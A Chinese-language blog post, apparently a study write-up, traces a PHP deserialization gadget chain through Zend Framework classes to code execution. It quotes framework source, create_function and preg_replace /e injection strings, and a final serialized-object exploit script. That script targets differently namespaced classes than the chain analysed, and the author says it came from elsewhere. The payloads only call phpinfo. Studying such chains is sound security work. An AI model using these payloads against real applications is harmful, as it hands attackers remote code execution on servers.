Zend FrameWork RCE1
2022-07-20 02:09:00

# 准备

在 bin 目录执行

1
zf create prooject web1

application\controllers\IndexController.php 写入反序列化接收的参数

在这里插入图片描述

# 代码审计

library\Zend\Log.php 中的 __destruct

在这里插入图片描述

这里对_writers (私有的数组变量) 遍历并调用 shutdown 函数

这里直接跟进会发现其调用的是 Abstract.php 下的 shutdown 无参方法

在这里插入图片描述

没法继续向下跟进

所以需要找其他的 shutdown 方法

这里找到 Zend_Log_Writer_Mail 这个类的 shutdown()

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public function shutdown()
{
// If there are events to mail, use them as message body. Otherwise,
// there is no mail to be sent.
if (empty($this->_eventsToMail)) {
return;
}

if ($this->_subjectPrependText !== null) {
// Tack on the summary of entries per-priority to the subject
// line and set it on the Zend_Mail object.
$numEntries = $this->_getFormattedNumEntriesPerPriority();
$this->_mail->setSubject(
"{$this->_subjectPrependText} ({$numEntries})");
}


// Always provide events to mail as plaintext.
$this->_mail->setBodyText(implode('', $this->_eventsToMail));
// If a Zend_Layout instance is being used, set its "events"
// value to the lines formatted for use with the layout.
if ($this->_layout) {
// Set the required "messages" value for the layout. Here we
// are assuming that the layout is for use with HTML.
$this->_layout->events =
implode('', $this->_layoutEventsToMail);

// If an exception occurs during rendering, convert it to a notice
// so we can avoid an exception thrown without a stack frame.
try {
$this->_mail->setBodyHtml($this->_layout->render());
} catch (Exception $e) {
trigger_error(
"exception occurred when rendering layout; " .
"unable to set html body for message; " .
"message = {$e->getMessage()}; " .
"code = {$e->getCode()}; " .
"exception class = " . get_class($e),
E_USER_NOTICE);
}
}

前两个 if 不为空即可

按照定义

在这里插入图片描述

1
2
$this->_mail     =>     $this->_mail = new Zend_Mail();
$this->_layout => $this->_layout = new Zend_Layout();

之后进入

1
$this->_mail->setBodyHtml($this->_layout->render());

跟进 render

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function render($name = null)
{
if (null === $name) {
$name = $this->getLayout();
}

if ($this->inflectorEnabled() && (null !== ($inflector = $this->getInflector())))
{
$name = $this->_inflector->filter(array('script' => $name));
}

$view = $this->getView();

if (null !== ($path = $this->getViewScriptPath())) {
if (method_exists($view, 'addScriptPath')) {
$view->addScriptPath($path);
} else {
$view->setScriptPath($path);
}
} elseif (null !== ($path = $this->getViewBasePath())) {
$view->addBasePath($path, $this->_viewBasePrefix);
}

return $view->render($name);
}
}

第二个 if 满足的两个条件

1
2
3
4
public function inflectorEnabled()
{
return $this->_inflectorEnabled;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
public function getInflector()
{
if (null === $this->_inflector) {
require_once 'Zend/Filter/Inflector.php';
$inflector = new Zend_Filter_Inflector();
$inflector->setTargetReference($this->_inflectorTarget)
->addRules(array(':script' => array('Word_CamelCaseToDash', 'StringToLower')))
->setStaticRuleReference('suffix', $this->_viewSuffix);
$this->setInflector($inflector);
}

return $this->_inflector;
}

第一个好说,设置为 true

第二个保证 $this->_inflector 不为空即可

由于 $this->_inflector 是可控的,所以我们

1
$name = $this->_inflector->filter(array('script' => $name));

可以调用任意类的 filter 方法

这里找到三个地方

InflectorPregReplaceCallback 中都有 filter 方法

跟进到 Inflector

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public function filter($source)
{
// clean source
foreach ( (array) $source as $sourceName => $sourceValue) {
$source[ltrim($sourceName, ':')] = $sourceValue;
}

$pregQuotedTargetReplacementIdentifier = preg_quote($this->_targetReplacementIdentifier, '#');
$processedParts = array();

foreach ($this->_rules as $ruleName => $ruleValue) {
if (isset($source[$ruleName])) {
if (is_string($ruleValue)) {
// overriding the set rule
$processedParts['#'.$pregQuotedTargetReplacementIdentifier.$ruleName.'#'] = str_replace('\\', '\\\\', $source[$ruleName]);
} elseif (is_array($ruleValue)) {
$processedPart = $source[$ruleName];
foreach ($ruleValue as $ruleFilter) {
$processedPart = $ruleFilter->filter($processedPart);
}
$processedParts['#'.$pregQuotedTargetReplacementIdentifier.$ruleName.'#'] = str_replace('\\', '\\\\', $processedPart);
}
} elseif (is_string($ruleValue)) {
$processedParts['#'.$pregQuotedTargetReplacementIdentifier.$ruleName.'#'] = str_replace('\\', '\\\\', $ruleValue);
}
}

// all of the values of processedParts would have been str_replace('\\', '\\\\', ..)'d to disable preg_replace backreferences
$inflectedTarget = preg_replace(array_keys($processedParts), array_values($processedParts), $this->_target);

if ($this->_throwTargetExceptionsOn && (preg_match('#(?='.$pregQuotedTargetReplacementIdentifier.'[A-Za-z]{1})#', $inflectedTarget) == true)) {
require_once 'Zend/Filter/Exception.php';
throw new Zend_Filter_Exception('A replacement identifier ' . $this->_targetReplacementIdentifier . ' was found inside the inflected target, perhaps a rule was not satisfied with a target source? Unsatisfied inflected target: ' . $inflectedTarget);
}

return $inflectedTarget;
}

这里的 preg_replace 的三个参数都可控

1
$inflectedTarget = preg_replace(array_keys($processedParts), array_values($processedParts), $this->_target);

结合着

Callback 中的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function filter($value)
{
$options = array();

if ($this->_options !== null) {
if (!is_array($this->_options)) {
$options = array($this->_options);
} else {
$options = $this->_options;
}
}

array_unshift($options, $value);

return call_user_func_array($this->_callback, $options);
}
}

可以实现 call_user_func_array('create_function',["){}phpinfo();exit;/*",'']);

1
2
<?php
call_user_func_array('create_function',["){}phpinfo();exit;/*",'']);

实际上也就是实现了 phpinfo ()

在这里插入图片描述

上面提到的还有一个没有利用的 filter 方法

Preg_Replace

1
2
3
4
5
6
7
8
public function filter($value)
{
if ($this->_matchPattern == null) {
require_once 'Zend/Filter/Exception.php';
throw new Zend_Filter_Exception(get_class($this) . ' does not have a valid MatchPattern set.');
}

return preg_replace($this->_matchPattern, $this->_replacement, $value);

这里的前两个值是可控的,参考深入研究 preg_replace 与代码执行 - 先知社区 (aliyun.com)

1
2
原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

namespace Zend\View\Renderer;
use Zend\Config\Config;

class PhpRenderer
{
function __construct()
{
$this->__helpers = new Config();
}

}
namespace Zend\Config;

class Config {
protected $data = [];

function __construct()
{
$this->data = ['shutdown'=>"phpinfo"];
}
}

namespace Zend\Log;

use Zend\View\Renderer\PhpRenderer;

class Logger
{
protected $writers;

function __construct()
{
$this->writers = [new PhpRenderer()];
}

}
echo base64_encode(serialize(new Logger()));

但这里在网上找到的解读文章都不是很详尽……

主要还是想学习一下 poc 的手法